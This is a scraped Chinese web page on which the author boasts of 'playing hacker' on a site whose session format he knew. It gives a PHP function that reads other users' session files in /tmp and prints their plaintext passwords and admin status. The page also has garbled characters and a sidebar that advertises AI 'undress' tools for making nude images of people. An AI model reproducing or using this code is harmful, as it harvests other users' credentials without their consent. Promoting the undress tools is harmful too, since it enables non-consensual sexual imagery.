之所以是能写出来这个函数,主要是对该网站的session结构清楚,如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
function submit1(){
global $username;
print "
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."
使用密码:".$passwd[2]."
使用模式:";
if($mode[1]==1)
print "管理员";
else
print "一般用户";
print"
偷窃他人密码是不道德行为请少少为之
";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,请再来一次,不要多打空格!";
$d->close();
}
function login(){
?>
璁哄

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

SecLists
SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

ZendStudio 13.5.1 Mac
Powerful PHP integrated development environment

Atom editor mac version download
The most popular open source editor

PhpStorm Mac version
The latest (2018.2.1) professional PHP integrated development tool

SublimeText3 Mac version
God-level code editing software (SublimeText3)